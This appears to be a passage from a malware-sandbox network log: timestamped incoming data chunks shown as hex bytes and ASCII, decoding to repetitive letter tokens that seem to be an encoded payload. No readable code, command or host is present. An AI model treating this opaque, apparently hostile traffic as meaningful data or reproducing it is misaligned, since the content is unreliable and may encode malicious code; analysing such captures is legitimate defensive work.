51 20 59 6f 20 6f 45 4b 20 4b 59 20 59 74 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 4f
51 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 
20 51 4b 20 6f 51 20 6b 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6b 20 59 52 20 4b 6b 20 6b 6f 20 6f 59 6f 20 6f 6b 20 4f 6f
6f 20 4b 4f 20 4f 52 6b 20 
Data Ascii: OOk RK YY Kk OoY YK kK OOK Eo OxQ OOo EY Yx Et Okt OK OOK OOt Oxk kY ER Kt OOx OtO Rt oQ Ok 
OxQ OOo YR Yk Yo Kk oOk ot OxQ Yo oEK KY Yt OQO Oxk kK OOK OOR to ORx OQY Kk Yx Yx OoK RQ OOt OxQ 
Ooo RY k Yx YK QK oQ kx OxQ OOo YR ok YR Kk ko oYo ok Ooo KO ORk 

2021-11-09 21:21:48 UTC 118 IN Data Raw: 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20 74 45 20 4f 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 
20 4f 51 20 4b 20 59 78 20 4b 6b 20 59 52 20 45 78 20 4f 51 51 20 4f 4f 59 20 4f 4f 74 20 4f 78 45 20 51 6f 20 59 74 20 59 
78 20 74 45 20 4f 4f 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 6f 20 59 78 20 4b 6b 20 59 52 20 59 6f 20 4b 74 20 59 
45 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 74 52 20 52 6b 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 45 78 20 4f 78 6b 20 4f 
4f 6f 20 59 52 20 6f 6b 20 59 74 20 59 6f 20 4b 74 20 59 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 52 52 20 59 78 
20 59 4b 20 51 4b 20 4f 4f 6f 20 4f 4b 20 4b 78 20 4f 4f 6f 20 59 78 20 59 6f 20 74 52 20 52 52 20 6b 4b 20 4f 4f 4b 20 4f 6
f 74 20 52 51 20 6f 6f 74 20 59 4f 
Data Ascii: OK OOt OxQ OOo Yx Yx tE OOt kK OOK OOE OQ K Yx Kk YR Ex OQQ OOY OOt OxE Qo Yt Yx tE OOt kK 
OOK OOE RQ o Yx Kk YR Yo Kt YE OOt OxQ OOR tR Rk Yx YK QK Qx oEx Oxk OOo YR ok Yt Yo Kt YE OOt OxQ OOR 
oR RR Yx YK QK OOo OK Kx OOo Yx Yo tR RR kK OOK Oot RQ oot YO

2021-11-09 21:21:48 UTC 122 IN Data Raw: 6f 6b 20 74 4b 20 4f 4f 6f 20 4f 4b 20 6f 59 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 6f 78 20 6b 52 20 4f 4f 
45 20 6b 20 6f 59 4b 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 4b 20 4b 78 20 6b 52 20 51 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59
4b 20 6f 52 20 4f 52 20 59 6f 20 6b 74 20 4f 59 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 52 20 4b 4b 20 59 6f 20 4b
74 20 6f 45 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 4b 20 4f 6b 20 4b 6b 20 59 45 20 4b 4f 20 6f 45 4f 20 4f 4f 74 20 4f 
78 51 20 4f 4f 52 20 6f 4b 20 4b 52 20 4b 6b 20 74 74 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4f 52 20 
59 78 20 4b 51 20 74 59 20 4f 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 51 78 20 4b 4b 20 59 78 20 74 45 20 4f 52 4f 20 
6b 4b 20 4f 4f 4b 20 4f 4f 
Data Ascii: ok tK OOo OK oYK OOo Yx Yo oK ox kR OOE k oYK OOo Yx Yo oK Kx kR Q ooY OxQ OOo YK oR OR Yo kt 
OY ooY OxQ OOo YK oR KK Yo Kt oEO OOt OxQ OOR oK Ok Kk YE KO oEO OOt OxQ OOR oK KR Kk tt OQK OOK 
OOt OxY Qx OR Yx KQ tY OQK OOK OOt OxY Qx KK Yx tE ORO kK OOK OO

2021-11-09 21:21:48 UTC 126 IN Data Raw: 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 51 51 20 4f 4f 4b 20 74 4b 20 4f 74 59 20 51 59 
20 6f 45 52 20 59 4b 20 6b 4b 20 4f 6f 78 20 51 6b 20 6f 4b 74 20 6f 20 4f 4b 4f 20 45 52 20 59 78 20 74 78 20 4f 6f 4b 20 
4b 74 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 4b 20 45 51 20 6f 4b 20 59 4b 20 6b 4b 20 51 74 20 52 51 20 4f 4f 4f 20 4f 4f 
6f 20 4f 6f 74 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 59 20 51 45 20 4f 4b 6b 20 
59 4f 20 59 4b 20 51 4b 20 4f 78 4f 20 74 78 20 4b 74 20 4f 4f 59 20 45 52 20 51 59 20 4f 59 4f 20 59 59 20 6b 4b 20 4f 6f 
78 20 6b 51 20 6b 4b 20 4f 4f 59 20 51 45 20 4f 6f 74 20 59 4f 20 59 4b 20 51 4b 20 6f 51 20 6f 4f 4f 20 4f 78 6b 20 4f 4f 6f 
20 59 52 20 51 59 20 4f 4b 51 20 
Data Ascii:  OQO OxR Yx YK kY kt QQ OOK tK OtY QY oER YK kK Oox Qk oKt o OKO ER Yx tx OoK Kt OOt OxQ Ooo 
oK EQ oK YK kK Qt RQ OOO OOo Oot Kk Yx YK kK OOK OOt OxQ OOY QE OKk YO YK QK OxO tx Kt OOY ER QY 
OYO YY kK Oox kQ kK OOY QE Oot YO YK QK oQ oOO Oxk OOo YR QY OKQ 

2021-11-09 21:21:48 UTC 129 IN Data Raw: 4f 45 45 20 4f 4f 52 20 4f 4f 6b 20 59 78 20 4f 4f 20 45 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 45 74 20 
74 59 20 4f 4b 51 20 59 20 59 6f 20 59 4b 20 6b 59 20 4b 6b 20 45 78 20 52 59 20 4f 4f 6b 20 59 78 20 4f 59 6b 20 4f 6b 
20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 6f 78 52 20 6b 51 20 4f 51 4b 20 4b 4f 20 59 6f 20 59 4b 20 6b 4b 20 6b 45 
20 4f 45 45 20 4f 4f 52 20 4f 4f 6b 20 59 78 20 45 74 20 4f 4f 4b 20 51 45 20 4f 6f 78 20 4f 4f 52 20 4f 4f 74 20 6f 78 6f 20 
74 4b 20 6b 51 20 6f 6b 20 59 6f 20 59 4b 20 6f 6f 6f 20 74 52 20 45 78 20 52 59 20 6f 59 4f 20 59 4f 20 4f 78 4f 20 78 20 
59 4b 20 6b 4b 20 4f 6f 4b 20 4f 4f 74 20 6f 4b 78 20 52 59 20 6f 45 74 20 6f 74 20 52 78 20 59 4b 20 52 20 74 52 20 4f 74 
78 20 74 78 20 4f 6f 52 20 59 78 20 
Data Ascii: OEE OOR OOk Yx OO E QE Oox OOR OOt Et tY OKQ Y Yo YK kY Kk Ex RY OOk Yx OYk Ok QE Oox OOR 
OOt oxR kQ OQK KO Yo YK kK kE OEE OOR OOk Yx Et OOK QE Oox OOR OOt oxo tK kQ ok Yo YK ooo tR Ex RY 
oYO YO OxO x YK kK OoK OOt oKx RY oEt ot Rx YK R tR Otx tx OoR Yx 

2021-11-09 21:21:48 UTC 133 IN Data Raw: 6b 20 4f 6f 4f 20 59 4f 20 45 6f 20 59 78 20 4f 59 51 20 74 45 20 4f 4f 4b 20 4f 4f 74 20 59 6f 20 4f 4f 45 20 6f 6f
20 4b 6b 20 4b 78 20 59 59 20 51 45 20 4f 4f 59 20 4f 78 4f 20 4f 78 51 20 6f 78 45 20 4f 4f 45 20 4b 6b 20 59 78 20 4f 4f 
4f 20 6b 59 20 6b 4b 20 4f 4f 74 20 4f 4f 51 20 4f 4f 45 20 59 51 20 4b 51 20 45 4b 20 59 4b 20 6f 6f 6b 20 4b 51 20 4f 4f 
74 20 4f 78 51 20 4b 4f 20 59 4f 20 6f 59 20 59 78 20 4b 4b 20 6b 59 20 4f 4f 59 20 4f 4f 74 20 4f 6f 59 20 4f 4f 6f 20 6b 4b 
20 45 45 20 59 78 20 59 4b 20 4f 6f 59 20 4f 4f 4b 20 51 59 20 4f 78 51 20 4f 78 52 20 59 4f 20 4b 51 20 59 78 20 45 6b 2
0 6b 4b 20 4f 74 4f 20 4f 78 78 20 4f 78 51 20 4f 4f 6f 20 6f 74 20 4b 6b 20 45 78 20 59 4b 20 74 59 20 4f 4f 59 20 4f 4f 52 
20 4f 78 51 20 51 52 20 59 78 
Data Ascii: k OoO YO Eo Yx OYQ tE OOK OOt Yo OOE oo Kk Kx YY QE OOY OxO OxQ oxE OOE Kk Yx OOO kY kK 
OOt OOQ OOE YQ KQ EK YK ook KQ OOt OxQ KO YO oY Yx KK kY OOY OOt OoY OOo kK EE Yx YK OoY OOK QY 
OxQ OxR YO KQ Yx Ek kK OtO Oxx OxQ OOo ot Kk Ex YK tY OOY OOR OxQ QR Yx

Timestamp
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2021-11-09 21:21:48 UTC 137 IN Data Raw: 45 6b 20 4f 4f 52 20 4f 4f 52 20 4f 6f 4b 20 45 6b 20 4f 74 6b 20 6f 4b 4f 20 59 6b 20 59 59 20 52 51 20 45 52 
20 6f 4b 59 20 45 74 20 4f 6f 45 20 59 4f 20 45 45 20 59 4f 20 59 4b 20 78 20 4f 4f 78 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 
59 78 20 4f 59 6f 20 4b 4f 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 51 78 20 4f 78 74 20 4f 4b 6b 20 4b 6b 20 59 4f
20 59 4b 20 4f 74 78 20 4f 78 59 20 4f 4f 59 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 6f 6f 74 20 4b 52 20 4f 4b 4b 20 6b 4b 20 4f
4f 59 20 4f 4f 74 20 4f 51 74 20 4f 78 74 20 4f 4b 6b 20 4b 6b 20 59 4f 20 59 4b 20 4f 45 59 20 4f 78 59 20 6f 4f 4f 20 4f 78 
51 20 4f 4f 45 20 59 78 20 6f 78 52 20 4b 4f 20 52 45 20 52 51 20 4f 4f 52 20 4f 4f 74 20 4f 6b 45 20 6b 74 20 45 45 20 45 
45 20 59 6f 20 59 4b 20 74 
Data Ascii: Ek OOR OOR OoK Ek Otk oKO Yk YY RQ ER oKY Et OoE YO EE YO YK x OOx oOO OxQ OOE Yx OYo KO 
OKK kK OOY OOt OQx Oxt OKk Kk YO YK Otx OxY OOY OoK OOE Yx oot KR OKK kK OOY OOt OQt Oxt OKk Kk YO 
YK OEY OxY oOO OxQ OOE Yx oxR KO RE RQ OOR OOt OkE kt EE EE Yo YK t

2021-11-09 21:21:48 UTC 141 IN Data Raw: 45 51 20 52 4f 20 74 78 20 52 59 20 4f 4f 52 20 52 51 20 51 51 20 4f 45 4f 20 45 45 20 4f 20 59 59 20 6f 6b 20 
4f 6f 6f 20 4f 51 52 20 4f 6f 4b 20 52 74 20 59 4f 20 4f 74 6b 20 45 74 20 45 74 20 52 51 20 52 59 20 4f 4f 52 20 52 51 20 
4f 4f 6b 20 4f 45 4f 20 45 45 20 4f 20 59 59 20 4b 4b 20 4f 78 52 20 4f 59 78 20 4f 6f 4b 20 52 74 20 59 4f 20 59 45 20 52 
4f 20 4f 74 6b 20 52 51 20 52 59 20 4f 4f 52 20 4f 51 51 20 51 52 20 4f 74 59 20 45 45 20 4f 20 59 59 20 4f 52 4f 20 51 74 
20 4f 78 4f 20 4f 6f 74 20 52 74 20 59 4f 20 51 6b 20 52 45 20 45 59 20 74 78 20 52 59 20 4f 4f 52 20 6f 6f 59 20 4f 78 6f 
20 6f 45 59 20 45 45 20 4f 20 59 59 20 59 20 51 74 20 4f 74 6f 20 4f 6f 4b 20 52 74 20 59 4f 20 6f 6f 6b 20 45 74 20 45 74 
20 52 51 20 52 59 20 4f 4f 52 20 6f 59 
Data Ascii: EQ RO tx RY OOR RQ QQ OEO EE O YY ok Ooo OQR OoK Rt YO Otk Et Et RQ RY OOR RQ OOk OEO EE 
O YY KK OxR OYx OoK Rt YO YE RO Otk RQ RY OOR OQQ QR OtY EE O YY ORO Qt OxO Oot Rt YO Qk RE EY tx R
Y OOR ooY Oxo oEY EE O YY Y Qt Oto OoK Rt YO ook Et Et RQ RY OOR oY

2021-11-09 21:21:48 UTC 146 IN Data Raw: 74 4f 20 6f 4b 59 20 4f 6f 4f 20 6f 78 20 59 78 20 59 52 20 4f 4f 45 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 
6f 45 59 20 4f 4f 6f 20 6b 78 20 4b 4f 20 4f 6b 59 20 45 4b 20 4b 51 20 4f 4f 4b 20 74 45 20 4b 52 20 4f 4f 6f 20 59 78 20 
4b 6b 20 59 78 20 4f 74 52 20 6b 4b 20 45 20 4f 78 6b 20 45 78 20 4f 78 78 20 6b 4b 20 4b 6b 20 52 52 20 4f 4f 74 20 6b 
4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 78 20 4f 6b 51 20 59 20 4f 6b 6f 20 52 4b 20 6f 4f 20 4f 4f 74 20 6f 
78 4f 20 59 4f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 4f 4b 20 6f 4b 59 20 4f 4f 52 20 45 20 45 6b 20 6b 6b 
20 59 78 20 6f 45 6b 20 6f 45 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 4b 6b 20 6f 6f 6b 20 78 20 45 51 
20 4f 78 6f 20 6f 6b 20 4f 78 51 
Data Ascii: tO oKY OoO ox Yx YR OOE YK kK OOK OOt oEY OOo kx KO OkY EK KQ OOK tE KR OOo Yx Kk Yx OtR kK 
E Oxk Ex Oxx kK Kk RR OOt kK OOK OOt OxQ oKR Yx OkQ Y Oko RK oO OOt oxO YO Yx Kk Yx YK oOx OOK oKY 
OOR E Ek kk Yx oEk oE OOK OOt OxQ OOo Okx Kk ook x EQ Oxo ok OxQ

2021-11-09 21:21:48 UTC 150 IN Data Raw: 74 6f 20 6b 59 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 4f 74 20 4f 52 74 20 74 74 20 4f 52 4b 20 
45 74 20 4f 6b 20 59 59 20 4f 59 74 20 6f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 4b 6f 20 4f 6b 4b 20 
51 52 20 4f 4f 59 20 4f 4f 74 20 74 52 20 4f 4f 45 20 6f 45 78 20 6b 74 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 74 51 
20 4f 78 51 20 4f 51 20 78 20 4f 74 74 20 45 51 20 6f 45 20 6b 59 20 4b 6f 20 6f 51 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 
6b 20 6f 4b 4b 20 59 4b 20 6f 45 52 20 74 4b 20 6f 59 4b 20 4f 6f 78 20 6b 45 20 59 4f 20 51 6f 20 6b 51 20 59 4b 20 6b 
4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 6f 45 78 20 6b 20 4f 74 45 20 45 59 20 4f 4f 51 20 4f 4f 59 20 4f 20 52 
20 4f 4f 6f 20 59 78 20 4b 6b 20 59 
Data Ascii: to kY Kk Yx YK kK oKK OOt ORt tt ORK Et Ok YY OYt oO OOt OxQ OOo Yx Oko Ko OkK QR OOY OOt tR 
OOE oEx kt Yx YK kK OOK OtQ OxQ OQ x Ott EQ oE kY Ko oQ OxQ OOo Yx Kk oKK YK oER tK oYK Oox kE YO Qo kQ 
YK kK OOK OOt oEY Oox oEx k OtE EY OOQ OOY O R OOo Yx Kk Y

2021-11-09 21:21:48 UTC 154 IN Data Raw: 74 20 4f 78 51 20 6f 45 78 20 59 78 20 4f 74 59 20 4f 51 20 6f 74 20 6b 74 20 6f 4f 20 4f 4f 52 20 4f 6b 4f 20 6f 
78 6b 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 78 52 20 6f 59 4f 20 6b 51 20 4f 4f 45 20 59 78 20 6b 6b 20 
59 4f 20 6f 4f 4b 20 6f 4b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 6f 45 59 20 59 6b 20 4f 
59 74 20 4f 4f 4b 20 6f 51 20 4f 78 6b 20 4f 59 6f 20 4f 4b 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 
20 4f 4b 78 20 4f 6f 4b 20 45 4b 20 4b 6b 20 51 78 20 59 59 20 4f 52 59 20 6f 4f 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59
78 20 4f 6b 6f 20 59 6b 20 4f 4f 45 20 6b 78 20 4f 6b 74 20 4f 4f 74 20 4b 20 4f 4f 45 20 6f 78 45 20 4f 4b 4b 20 59 78 20 
59 4b 20 6b 4b 20 4f 4f 4b 20 6f 
Data Ascii: t OxQ oEx Yx OtY OQ ot kt oO OOR OkO oxk Yx Kk Yx YK oOx OxR oYO kQ OOE Yx kk YO oOK oKK OOK 
OOt OxQ OOo Okx YR oEY Yk OYt OOK oQ Oxk OYo OKR Kk Yx YK kK oKK OoY OKx OoK EK Kk Qx YY ORY oOx 
OOt OxQ OOo Yx Oko Yk OOE kx Okt OOt K OOE oxE OKK Yx YK kK OOK o

2021-11-09 21:21:48 UTC 158 IN Data Raw: 20 51 6f 20 6f 4b 78 20 4f 4f 45 20 6f 4b 4b 20 4f 4f 45 20 74 20 4f 4b 74 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b
20 6f 4b 45 20 4f 78 4f 20 6f 78 59 20 59 6b 20 59 45 20 59 78 20 4f 74 59 20 6b 59 20 74 52 20 6f 4f 4b 20 4f 78 51 20 4f 
4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 78 4b 20 4f 6f 4f 20 4f 6b 6b 20 4f 78 51 20 6f 45 4b 20 59 4f 20 4f 4f 6b 
20 4f 4b 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 4f 4f 6b 20 59 51 20 45 4b 20 59 4b 20 6f 
78 52 20 4f 4f 59 20 59 6b 20 6f 78 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 74 52 20 6f 59 6f 20 52 59 20 
4f 78 6b 20 4f 4f 6f 20 4f 52 51 20 4b 51 20 4f 78 4f 20 4f 4b 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 
59 6b 20 4f 4f 51 20 59 4b 20 
Data Ascii:  Qo oKx OOE oKK OOE t OKt Yx YK kK OOK oKE OxO oxY Yk YE Yx OtY kY tR oOK OxQ OOo Yx Kk Okx 
Ro OxK OoO Okk OxQ oEK YO OOk OKY YK kK OOK OOt oEY Oox OOk YQ EK YK oxR OOY Yk oxR OOo Yx Kk Yx 
OtR tR oYo RY Oxk OOo ORQ KQ OxO OKQ kK OOK OOt OxQ oKR Yk OOQ YK 

2021-11-09 21:21:48 UTC 161 IN Data Raw: 51 6b 20 6f 4f 59 20 4f 4f 45 20 4f 45 45 20 4f 59 78 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78
4f 20 4f 78 52 20 4b 51 20 74 6b 20 45 74 20 4f 4b 4f 20 6b 59 20 6f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 
4b 6b 20 4f 6b 78 20 52 6f 20 4f 4f 51 20 4f 4f 45 20 6f 59 45 20 4f 6f 6f 20 6f 78 45 20 59 4f 20 6f 4b 6b 20 4f 4b 6b 20 59 
4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 6f 59 78 20 59 6f 20 4f 78 6f 20 45 45 20 6f 45 6f 20 4f 4f 59 2
0 4f 52 59 20 6f 78 45 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 51 6f 20 4f 52 45 20 4f 4f 45 20 59 4f 20 4f 78 
45 20 4f 4b 6f 20 4b 51 20 6f 45 59 20 4f 4b 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 52 20 59 6b 20 6f 6b 
20 59 45 20 74 6f 20 52 74 
Data Ascii: Qk oOY OOE OEE OYx Yx YK kK OOK oKE OxO OxR KQ tk Et OKO kY oxY oOO OxQ OOo Yx Kk Okx Ro 
OOQ OOE oYE Ooo oxE YO oKk OKk YK kK OOK OOt oEY Oox oYx Yo Oxo EE oEo OOY ORY oxE OOo Yx Kk Yx OtR 
Qo ORE OOE YO OxE OKo KQ oEY OKK kK OOK OOt OxQ oKR Yk ok YE to Rt

2021-11-09 21:21:48 UTC 165 IN Data Raw: 6b 6f 20 4f 4f 59 20 6b 4b 20 4f 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 74 52 20 6f 59 6f 20 
52 59 20 4f 78 6b 20 4f 4f 6f 20 6f 78 6b 20 4b 51 20 6f 74 20 4f 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 
45 20 59 78 20 4f 45 78 20 4b 51 20 51 6b 20 52 74 20 4f 4b 4b 20 4f 4f 52 20 51 4f 20 6f 4f 6b 20 59 78 20 4b 6b 20 59 
78 20 59 4b 20 6f 4f 59 20 4f 4f 4b 20 6f 45 51 20 4f 78 4f 20 4f 6b 51 20 45 74 20 6f 4f 78 20 59 4f 20 4f 4f 74 20 6f 59 4b 
20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 74 74 20 4b 6b 20 4f 4b 6f 20 59 6b 20 4f 45 4f 20 4f 78 4f 20 4f 59 4f 20
4f 78 6b 20 45 6f 20 4f 59 6f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4f 20 4f 4f 74 20 52 74 20 4f 6f 74 20 6f 4f 4f 20 
45 51 20 6f 78 6b 20 59 
Data Ascii: ko OOY kK OQQ OOo Yx Kk Yx OtR tR oYo RY Oxk OOo oxk KQ ot OYR kK OOK OOt OxQ oKE Yx OEx KQ 
Qk Rt OKK OOR QO oOk Yx Kk Yx YK oOY OOK oEQ OxO OkQ Et oOx YO OOt oYK OOK OOt OxQ OOo Ott Kk OKo 
Yk OEO OxO OYO Oxk Eo OYo Kk Yx YK kK oKO OOt Rt Oot oOO EQ oxk Y
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2021-11-09 21:21:48 UTC 169 IN Data Raw: 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 4b 20 6b 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 78 6f 
20 4b 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 74 4b 20 4f 4f 45 20 59 6f 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 45 
4f 20 51 6f 20 59 78 20 4f 52 20 4b 6b 20 59 4b 20 6b 6f 20 4f 78 59 20 4f 4f 74 20 74 74 20 4f 4f 59 20 59 78 20 6f 78 6f 
20 45 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 6f 4b 4b 20 74 6f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 4f 45 20 
51 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4b 59 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 51 78 
20 59 78 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 6f 4b 6b 20 59 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 59 20 59 78 20 4f 4b 
6b 20 4f 4f 4b 20 59 4b 20 6b 4b 20 4f 
Data Ascii:  YK kK OOY OOt OxK kO Yx Kk YO YK oxo KQ OOt OxQ OOE Yx OtK OOE Yo kK OOY OOt EO Qo Yx OR 
Kk YK ko OxY OOt tt OOY Yx oxo EO YK kK OOk OOt oKK to Yx Kk YO YK oOE QK OOt OxQ OOK Yx OKY Ox YK kK 
OOY OOt Qx Yx Yx Kk Kk YK oKk Yx OOt OxQ OOY Yx OKk OOK YK kK O

2021-11-09 21:21:48 UTC 173 IN Data Raw: 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 
4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 
4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 
20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 
4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 
74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 
51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 
Data Ascii: OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk 
YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK 
OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OO

2021-11-09 21:21:48 UTC 178 IN Data Raw: 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 
4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 
20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 
20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 
6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 
4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 
59 78 20 4b 6b 20 59 4f 20 59 4b 
Data Ascii:  kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ 
OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk 
YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK

2021-11-09 21:21:48 UTC 182 IN Data Raw: 59 59 20 4b 6b 20 52 6b 20 51 20 4f 6f 78 20 4f 4f 4b 20 51 74 20 4f 78 51 20 6f 4b 78 20 52 20 51 20 59 78 20 
74 4f 20 6b 59 20 6f 4b 6f 20 52 59 20 4b 74 20 4f 4f 6f 20 74 59 20 4b 51 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 4f 52 
4b 20 4f 78 6b 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 6b 45 20 6b 52 20 6f 59 6f 20 52 59 20 4f 78 6b 20 4f 4f 6f 20 4f 
6b 74 20 59 78 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 6f 6f 6b 20 4f 4f 4f 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 74 
59 20 6b 52 20 6f 59 6f 20 52 59 20 4f 78 6b 20 4f 4f 6f 20 4f 59 59 20 59 78 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 4f 78
59 20 4f 78 51 20 6f 59 4b 20 52 20 4b 51 20 59 78 20 4f 6b 20 6b 4b 20 6f 59 6f 20 52 59 20 6f 59 20 4f 4f 6f 20 4f 45 51 
20 59 78 20 51 6b 20 4f 4f 20 4b 52 
